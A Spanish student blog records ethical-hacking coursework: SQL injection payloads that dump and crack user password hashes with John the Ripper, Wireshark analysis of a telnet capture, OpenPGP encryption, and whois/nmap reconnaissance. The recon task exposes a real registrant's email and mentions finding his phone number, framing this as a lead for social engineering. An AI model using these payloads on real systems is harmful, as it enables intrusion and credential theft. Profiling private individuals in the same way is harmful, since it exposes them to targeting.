7. Como puede que la lista de tablas sea extremadamente grande podemos filtrar (ya que lo que nos interesa es conseguir  obtener los datos de los usuarios) por ejemplo buscando tablas cuyo nombre comience por Users:

%’ and 1=0 union select null, table_name from information_schema.tables where table_name like ‘user%’#

SQL07

8. Con este código obtenemos todos los campos que componen la tabla Users:

%’ and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = ‘users’ #

SQL08

9. Ahora vamos a obtener todos los datos de acceso de los registros de la tabla Users:

%’ and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

SQL09

Como vemos el password de cada usuario se encuentra encriptado, así que lo que nos toca hacer ahora es desencriptarlo.

10. Lo primero que vamos a hacer es crearnos un fichero sobre el que trabajaremos. Abrimos el Notepad y vamos escribiendo (corta&pega) en cada linea la combinación de usuario y contraseña separados por dos puntos (:) y guardamos el archivo .txt

SQL13

11. Ahora vamos a utilizar el software John the Ripper para intentar desencriptar los passwords. John the Ripper es un programa que aplica la Fuerza Bruta (ir probando todas las combinaciones posibles hasta dar con la buena) para descifra contraseñas. Ademas es capaz de detectar que sistema de cifrado se ha empleado (aunque si se lo indicamos nosotros trabajará mucho mas rápido).

AVISO: A partir de aquí os recomiendo que desactivéis el antivirus de vuestro PC ya que seguramente tratará la web de las descargas y el software como virus y no podréis hacer la práctica.

En primer lugar si no lo tenemos ya nos descargamos la versión de John the Ripper que corresponda a nuestro Sistema Operativo. AQUI. Yo lo haré con Windows7.

Descomprimimos el archivo en nuestro disco duro y veremos que dentro del directorio principal tenemos 2 carpetas, doc y run, pues bien, dentro de run se encuentra el ejecutable que vamos a utilizar y lo mas sencillo es que dentro de esta misma carpeta (run) peguéis el fichero .txt con los passwords que hemos creado en el apartado anterior (en mi caso le he puesto el original nombre de passwords.txt).

Abrimos una ventana de comandos y nos situamos en la carpeta run (en mi caso cd  C:\Users\Jon\Downloads\john179j5\run) ahora tenemos que ejecutar el john-omp.exe (sintaxis: john-omp.exe Opciones Fichero_Passwords) como opciones y siguiendo las instrucciones de la practica le pondremos –format=raw-MD5 (esto le indica que algoritmo de cifrado tiene el password) y como archivo el nombre de nuestro fichero de passwords (que como hemos dicho estará en la carpeta run también).

Una vez ejecutada obtendremos los passwords en un instante:

SQL12

Con esto doy por finalizada la practica.

Unidad 2, Tarea 2

Unidad 2, Tarea 1

Capturando Tráfico con WIRESHARK

Wireshark es una herramienta libre para investigar la información que viaja a través de una red, es lo que llamamos un Sniffer.

Para entender lo que hacen programas como Wireshark tenemos que entender como viaja el tráfico en una red. Cuando recibimos una información dirigida a nosotros a través de la red tendemos a pensar que esa información a viajado directamente desde su emisor hasta nosotros y nada mas lejos de la realidad. Esa información se ha dividido en paquetes y cada uno de esos paquetes va viajando por el camino que en cada momento es considerado el mas adecuado y va saltando de tarjeta de red en tarjeta de red hasta que encuentra la que corresponde a su Receptor.

Habitualmente las tarjetas de red tienen la buena costumbre de no hacer caso de los paquetes que no son para ellas, sin embargo esta configuración se puede cambiar y hacer que nuestra tarjeta de red trabaje en Modo Promiscuo, de esta forma la tarjeta va capturando todo el trafico que pasa por ella aunque su destinatario sea otro. En el “mundo real” seria como ir a una cafetería y ponernos a grabar una conversación entre dos personas que charlan en la mesa del al lado.

Lo que hace un programa Sniffer como WireShark es analizar todo ese trafico que captura nuestra tarjeta de red. Como en muchos otros aspectos de la vida luego cada uno puede hacer buen o mal uso de la información que obtenga por este medio. Por ejemplo, si por este medio detectamos que una aplicación bancaria esta transmitiendo datos bancarios de un usuario de la red sin encriptarlos, bien podríamos tomar medidas para que nuestros usuarios no trabajen con ese programa (y avisar a los responsables para que lo corrijan) o callarnos y utilizar esos datos para hacer una transferencia desde la cuenta del usuario a nuestra cuenta de las islas Caimán.

Analizando un protocolo inseguro: TELNET.

Telnet es un protocolo que nos permite conectarnos remotamente a un servidor y trabajar en el como si estuviéramos allí físicamente, eso si, en modo consola.

La forma de conectarnos a través de telnet seria abriendo una Ventana de Comandos y escribiendo Telnet Direccion_IP/Nombre_Dominio Puerto, por ejemplo telnet http://www.google.com 80 nos conectaría con en servidor web que aloja la pagina de Google.

Este protocolo está bastante en desuso debido al problema de seguridad que plantea el hecho de que los datos que se intercambian con el servidor viajan por la red en texto plano (sin encriptar), con lo que cualquiera que capturase ese tráfico podría ver datos como por ejemplo el usuario y contraseña con los que nos conectamos al servidor.

En esta practica vamos a analizar el trafico que (previamente) ha capturado el programa Wideshark de una sesión de Telnet. Para ello nos descargamos las trazas capturadas (telnet-raw.pcap) y abrimos el archivo con el programa Wireshark (que previamente nos hemos descargado de https://www.wireshark.org/#download. Vamos a File, Open y seleccionamos el archivo de nuestro disco duro.

Sniffer01

Ahora, para facilitar la lectura de los datos vamos a filtrar para dejar solo los relativos al Telnet.

Sniffer02

Ahora iremos uno por uno analizando los datos a ver que información podemos sacar y responderemos a las siguientes cuestiones que nos propone la practica:

  • ¿Qué usuario y contraseña se ha utilizado para acceder al servidor de Telnet?
  • ¿Qué sistema operativo corre en la máquina?
  • ¿Qué comandos se ejecutan en esta sesión?

Lo primero que tenemos que saber es que Telnet envía los caracteres de uno en uno, por lo que es difícil localizar datos como el usuario y contraseña directamente. Sin embargo el programa Wireshark es capaz de poner todos los datos juntos para nosotros, para ello clicamos con el botón derecho sobre uno de los registros de la sesión de telenet y seleccionamos la opción de “Follow TCP Stream“.

Sniffer03

Este comando nos devolverá una pantalla con el texto de la sesión telnet desde el que podremos obtener la información necesaria para responder a las preguntas que nos plantea la practica.

Sniffer04

¿Qué usuario y contraseña se ha utilizado para acceder al servidor de Telnet?

Usuario: fake y password: user

Sniffer05

¿Qué sistema operativo corre en la máquina?

OpenBSD 2.6 (Una version libre de Unix).

Sniffer06

¿Qué comandos se ejecutan en esta sesión?

  • LS: List, lista los ficheros y directorios.
  • LS -a: Como el LS pero con la opcion de mostrar los archivos ocultos.
  • PING: hace un ping a http://www.yahoo.com
  • EXIT: Cierra las ventanas o las conexiones remotas abiertas.

Sniffer07

Con esto doy por finalizada la practica.

Unidad 2, Tarea 1

Unidad 1 Tarea 3

Practica de Criptografía

Esta práctica consiste en enviar un mensaje de texto cifrado con el sistema OpenPGP a un compañero del curso y que él lo descifre. Después repetimos el proceso al revés, el lo cifra y nosotros lo desciframos.

En primer lugar vamos a ver (a grandes rasgos) como funciona el sistema de cifrado OpenPGP ya que (al menos para mí) es un poco enrevesado…

Partimos de que tenemos 2 personas que quieren intercambiar una información a través de un mensaje cifrado, son el EMISOR y el RECEPTOR.

Estas dos personas utilizaran un sistema de cifrado OpenPGP, así que ambos, EMISOR y RECEPTOR deberán utilizar alguna aplicación basada en este sistema, por ejemplo Gpg4win.

Lo primero que tienen que hacer es crear su CLAVE. Esta clave en realidad son 2 claves, la CLAVE PRIVADA y la CLAVE PÚBLICA. La Clave Privada se guarda en nuestro ordenador y queda protegida por contraseña (es importante que nadie tenga acceso a ella) y la Clave Publica es la que compartiremos con otras personas (no hay peligro en que cualquiera tenga acceso a esta clave) por el medio que queramos (e-mail, pendrive, servidor de claves…).

Ahora el EMISOR tiene que ENCRIPTAR el mensaje para un RECEPTOR especifico y para ello necesita importar la Clave Publica del RECPTOR y con ella CIFRAR el mensaje y enviárselo.

Cuando el RECPTOR recibe el mensaje (que recordemos ha sido cifrado expresamente para él) tendrá que descifrarlo y para ello se utiliza su propia CLAVE PRIVADA.

Resumiendo, la CLAVE PUBLICA sirve para que otros puedan encriptar mensajes para nosotros y la CLAVE PRIVADA para que podamos desencriptar los mensajes que han encriptado para nosotros. Por supuesto, las claves pública y privada están relacionadas entre sí (la pública se genera aleatoriamente en función de los movimientos de ratón y/o teclas pulsadas) pero en la práctica resulta imposible obtener la Privada a través de la Publica.

Para esta práctica de Criptografía vamos a trabajar con el estándar OpenPGP (Versión libre de “Pretty Good Privacy”). Vamos a hacer la práctica con un sistema Windows 7, así que me descargo e instalo el programa Gpg4win en su versión 2.2.6.

Creando nuestro Certificado

Lo primero que tenemos que hacer es crear un Clave de Cifrado propia, para ello ejecutaremos la interface grafica Kleopatra.

Cripto01

Seleccionaremos un tipo de Certificado OpenPGP por no requerir de la validación por parte de un tercero y ser más rápido y cómodo, pero teniendo en cuenta que si queremos enviar un e-mail que cumpla con el estándar S/MIME tendremos que elegir un Certificado de tipo X.509 que requerirá de la validación por parte de alguna entidad certificadora.

Vamos a File, New Certificate e introducimos nuestros datos:

Cripto02

Y en Advanced Settings seleccionamos la longitud de la Clave, que por seguridad no debe ser inferior a 2048 bits, pero teniendo en cuenta que cuanto más grande sea ese valor más tiempo de computación se requerirá para desencriptar. Además especificaremos que el certificado se usará tanto para Firmar como para Encriptar e indicaremos la fecha de caducidad del Certificado. Podemos darle 2 años de plazo y cuando se cumplan valoraremos si los avances en criptografía y en computación hacen necesario crear una nueva clave adaptada a los nuevos avances o si por el contrario sigue siendo segura y podemos prolongar su uso.

Cripto03

Con estos datos ya se puede crear nuestro certificado que nos aparecerá dentro del apartado My Certificates. 

Cripto04

Ahora que ya tenemos nuestro certificado seremos capaces de encriptar un archivo y desencriptarlo. Sin embargo lo habitual es que necesitemos encriptar un archivo para otra persona y para ello necesitamos importar su certificado (en este caso nos referimos únicamente a su Clave Publica). Para esto, la otra persona nos puede facilitar su certificado por e-mail o con un pendrive por ejemplo, pero también podemos utilizar servidores dedicados a tal fin (intercambio de certificados). Para esto debemos configurar Kleopatra (Settings, Configure Kleopatra) ahora pulsamos el botón New y aparecera el servidor por defecto. Pulsamos Apply y Ok. 

Cripto05

Ahora ya podemos tanto importar como exportar certificados desde/a este servidor.

En primer lugar voy a exportar mi certificado para que mi compañero de práctica pueda importarlo. Para ello vamos a la pestaña de My Certificates y con el botón derecho del ratón sobre nuestro certificado seleccionamos la opción Export Certificates To Server y después Continue.

Podemos comprobar que nuestro certificado esta ahora disponible haciendo: File, Lookup Certificates on Server y buscando ahí nuestro nombre.

Por otro lado me descargo (Importo) el certificado de mi compañera de práctica. Para ello voy a File, Lookup Cerificates on Server y busco por su nombre y cuando lo encontremos lo seleccionamos y pulsamos Importar.

Cripto14

Ahora su certificado debería aparecernos bajo la pestaña Imported Certificates.

Cripto15

En primer lugar voy a hacer el papel de EMISOR del mensaje.

Creo un archivo de texto, por ejemplo con el Word y lo guardo.

Ahora vamos a proceder a firmar digitalmente y encriptar el archivo Word que hemos creado. Para ello vamos a File, Sign/Encrypt Files y seleccionamos el archivo. Ahora nos aparecerá una pantalla con distintas opciones. En este caso seleccionamos la opción de Sign and Encrypt y la de Text Output (ASCII Armor) para que vaya en texto plano y el receptor no tenga problemas para abrirlo aunque no tenga el mismo software que yo he utilizado para crearlo. Pulsamos Next.

Cripto06

Ahora nos toca seleccionar el certificado de la persona (o personas) a la que vamos a enviar el archivo. Seleccionamos su certificado y pulsamos el botón Add para añadirlo a la lista de destinatarios y pulsamos Next. 

Cripto16

Ahora seleccionamos con cual de nuestros certificados queremos firmar el archivo y pulsamos Sign & Encrypt.

Cripto09

Por supuesto se nos pedirá la clave con la que protegemos nuestro certificado para evitar que alguien desde nuestro ordenador pueda firmar sin nuestro permiso. 

Cripto10

Si todo ha ido bien nos aparecerá una ventana informativa como esta.

Cripto11

Podremos comprobar que en la carpeta en la que se ubica el archivo original ahora hay un nuevo archivo con el mismo nombre más la extensión .asc. Se trata de nuestro archivo encriptado.

Cripto07

Ahora no tenemos más que hacer llegar el archivo .asc a nuestro compañero de prácticas (por ejemplo por e-mail) y esperar a que nos indique que ha podido desencriptar y confirmar nuestra autoría en el archivo recibido. 

Ahora voy a hacer el papel de RECEPTOR del mensaje. 

En primer lugar recibiré un archivo encriptado por parte de mi compañero de práctica y lo guardaré en mi disco duro.

Para desencriptarlo y confirmar su autoría vamos a File, Decrypt/Verify Files y selecciono el archivo a desencriptar. Ahora aparecerá una pantalla con varias opciones, de aquí lo que nos interesa es la opción Output Folder, aquí indicaremos la carpeta en la queremos que se guarde el archivo ya desencriptado. Pulsamos el botón Decrypt/Verify y nos pedirá la clave que protege nuestro certificado.

Cripto18

Si todo ha ido bien nos saldrá una pantalla informando que se ha desencriptado el archivo y quien es su autor.

En el caso de mi practica el archivo que me envió mi compañera venía sin firmar por eso el mensaje final únicamente decía que el archivo había sido desencriptado.

Cripto19

Si el archivo hubiera estado firmado el mensaje hubiera sido algo así:

Cripto13

Y si vamos a la carpeta que hemos seleccionado veremos que hay un archivo con el mismo nombre que el que nos han enviado pero sin la extensión .asc y que podemos abrir sin problema.

Este era el archivo:

Cripto20

Con estoy doy la práctica por finalizada.

Gracias a mi compañera de practica Inmaculada Rodriguez.

Unidad 1 Tarea 3

Unidad 1 Tarea 2

En esta segunda Tarea del Curso de Hacking Ético voy a presentar tres sitios web que me parecen relevantes sobre la temática Hacking:

Un Informático del lado del Mal es una web gestionada por el conocido hacker Chema Alonso en la que va publicando periódicamente artículos relacionados con el mundo de la seguridad informática, cursos, conferencias, casos prácticos, publicaciones… un poco de todo. Ademas de por la web se puede seguir a traves de Facebook, Twiter o una lista de correo que es como lo sigo yo.

Una al día esta gestionado por la empresa de seguridad informática Hispasec y todos los días publica alguna noticia relacionada con la seguridad informática, principalmente alerta sobre los nuevos agujeros de seguridad que van apareciendo así como los parches que salen para los distintos programas y sistemas operativos. Puede ser muy util para un administrador de sistemas de cara a conocer las nuevas vulnerabilidades de su sistema y para estar preparado de cara a nuevas actualizaciones de sofware que a veces pueden llegar en el peor momento.

Por último, Portal Hacker es una web en formato Foro con diversos apartados en el que se reúne la comunidad hacker para comentar, preguntar dudas, compartir material, tutoriáles, etc.

Con esto doy por finalizada la Tarea 2 de la Unidad 2.

Unidad 1 Tarea 2

Unidad 1 Tarea 1

Herramientas Básicas para obtener información de servidores externos.

El primer paso a la hora de realizar una auditoria de seguridad es conocer el terreno en el que nos vamos a mover. Necesitamos recopilar toda la información posible sobre el sistema que queremos “atacar” para saber cuales son bugs o agujeros de seguridad que pueden afectar a los distintos elementos del sistema. Es interesante conocer cosas como la direccion IP, los servicios (puertos abiertos), el Sistema Oparativo o los programas que estan instalados.

Algunas de las herramientas básicas que nos pueden ayudar en el proceso de recabar información son:

En esta Tarea vamos a utilizar estas herramientas. Veamos como funcionan.

PING

El ping es una herramienta que nos permite comprobar si hay conectividad entre 2 nodos. El primer nodo, al ejecutar el ping envía un paquete de datos al segundo nodo y si hay conectividad entre ambos el segundo nodo debería recibir el paquete y devolverlo. De esta forma si el nodo 1 recibe el paquete de vuelta tenemos la seguridad de que el nodo 2 se encuentra activo y ademas existe conectividad entre los nodos.

En caso de no recibir respuesta esto se podría deber a:

  • El nodo 2 esta caído.
  • No hay conectividad entre los nodos. La conexion falla en algun punto.
  • El administrador del Nodo 2 ha tomado medidas de seguridad/privacidad para que su sistema no responda a Ping.

Vamos a la practica:

El comando ping lo ejecutamos en una Ventana de Comandos (Símbolo del Sitema en W7) y su sintaxis básica es “ping Direccion_IP“. La dirección IP la podemos sustituir por un Nombre de Dominio y en caso de que nuestros servidores DNS lo puedan resolver funcionaría igual que si ponemos una Dirección IP y ademas nos aportaría la Dirección IP que hay tras ese Nombre de Dominio.

Vamos a comenzar haciendo un ping a Google a ver que sacamos…

Ping01

Ejecutamos el comando “ping http://www.google.com&#8221; y como vemos en la imagen obtenemos respuesta a nuestro ping. De esta respuesta obtenemos la siguiente información:

  • La dirección IP del servidor en el que se encuentra alojada la web http://www.google.com es la 216.58.210.228. Esta informacion en realidad nos la ha dado nuestro servidor DNS.
  • El servidor con IP 216.58.21.228 se encuentra activo (encendido) en este momento (si no, no respondería a ping).
  • El servidor con IP 216.58.21.228 esta correctamente conectado a Internet y tenemos acceso a el a través de la red (Si no estuviera conectado a Internet tampoco respondería a ping).

El resumen estadístico nos indica que nuestro Ping ha enviado 4 paquetes y ha recibido de vuelta los 4. Si se hubiera perdido alguno podria indicarnos la presencia de algún corte de red (bien por parte de Google o bien por nuestra conexión).

El tiempo que tarda el ping en ir y volver también nos puede dar alguna pista sobre la calidad de nuestra conectividad con Google, unos tiempos muy altos podrían darnos la pista de que algo está fallando.

Ahora vamos a repetir el ejercicio con la segunda opción que se nos propone en la tarea: www.euskalert.net

Ping02

En este caso la respuesta que obtenemos no es la misma que en el caso anterior. En primer lugar obtenemos un dato importante: La direccion IP del servidor que aloja la pagina web http://www.euskalert.net es la 192.146.78.12. Sin embargo esta IP no ha respondido a nuestro ping (Tiempo de espera agotado…, paquetes enviados = 4 y recibidos = 0), en un principio podríamos pensar que se trata de un servidor que esta apagado o que no esta conectado a Internet (damos por hecho que nosotros si lo estamos), sin embargo al tratarse de una pagina web podemos hacer una prueba muy sencilla que es la de intentar acceder a la web a través de nuestro navegador:

Ping03

De esta forma comprobamos que el servidor funciona perfectamente, esta encendido y con conexión a Internet (si no, no veríamos la pagina). Por lo tanto no nos queda mas remedio que pensar que el Administrador del Sistema ha tomado medidas de seguridad/privacidad para que su servidor no responda a ping.

WHOIS

Whois es un protocolo que nos permite hacer consultas en una  base de datos en la que figura todo lo relativo al registro de un dominio. Esta información es publica y en ella podemos encontrar datos interesantes para un hacker como las personas de contacto (técnico, administrativo…) a las que podríamos dirigirnos en un momento dado con la intención de ampliar la información sobre el sistema que queremos “atacar” (Ingeniería Inversa).

Se puede trabajar con Whois a través de una ventana de comandos pero también tenemos paginas web que nos permiten hacer la consulta como: http://ping.eu/ns-whois/. Yo he utilizado esta segunda opción para realizar la tarea.

En primer lugar vamos a hacer un Whois del dominio google.com. En este caso nos encontramos que los e-mails de contacto corresponden a cuentas corporativas en las que no se adivina ningún nombre personal, así que parece que lo tenemos difícil para utilizar Ingeniería Social en este caso.

Ahora haremos un Whois del dominio euskalert.net. En este caso también hay cuentas de e-mail corporativas en los contactos técnico y administrativo, sin embargo en el contacto del Registrante tenemos una cuenta denominada amanterola@eps.mondragon.edu. Esta cuenta tiene toda la pinta de tratarse de una cuenta personal cuyo titular podría tener un nombre que comience por “A” y cuyo apellido es “Manterola”. Haciendo una simple búsqueda en Google es muy posible que se trate de ESTA PERSONA e incluso tenemos su teléfono móvil!!!

Por ultimo sobre el Whois, comentar que otro dato que puede ser interesante en un momento dado el de la fecha de expiración del dominio. En el caso de euskalert.net es el 31 de octubre de 2015. Si al administrador del dominio por cualquier motivo se le pasa la fecha de renovación, una persona que esté al acecho en esa fecha podría registrar el domino a su nombre con el consiguiente quebradero de cabeza sus dueños actuales.

NMAP

Nmap es un programa que envía una serie de paquetes a través de la red y tras analizar los paquetes de respuesta nos puede ofrecer una información muy valiosa para un Hacker, como son los puerto abiertos, el Sistema Operativo o programas que se están ejecutando.

La herramienta Nmap viene implementada en algunos sistemas operativos como en algunas distribuciones Linux, sin embargo en Windows 7 no viene por lo que la he tenido que instalar desde https://nmap.org/download.html.

Para la realización de esta tarea he utilizado la versión de Nmap en entorno gráfico denominada Zenmap.

Haciendo un Nmap (básico, sin atributos) de http://www.euskalert.net el resultado me da que tiene todos los puertos abiertos.

Nmap01

pero no me da mas información sobre sistema operativo etc… así que procedo a hacer una búsqueda en el portal Netcraft, donde encuentro que el servidor de http://www.euskalert.net tiene Sistema Operativo Linux Ubuntu y un servidor web Apache.

Nmap02

Si hacemos lo propio con http://www.google.com el nmap nos dice que están abiertos los puertos 80 (http, web), 443 (https, web secure) y 1720 (h323q931, que se utiliza para video conferencias).

Nmap03

Igualmente consultamos en Netcraft y descubrimos que su sistema operativo es Linux y su servicio web es denominado GFE 2.0 (un sistema exclusivo de Google).

Nmap04

Por ultimo, con todos los datos que hemos encontrado tendriamos que buscar en las bases de datos de Bugs para ver si hay agujeros de seguridad conocidos para los distintos elementos del sistema a “atacar”. Algunas de estas bases de datos podemos encontrarlas en:

Por ejemplo para el Servidor Web Apache 2.4.7 que corre en http://www.euskalert.net encontramos ESTE exploit:

Bug01

Y con esto doy por finalizada la Tarea 1 de la Unidad 1. Espero que todo este correcto.

Unidad 1 Tarea 1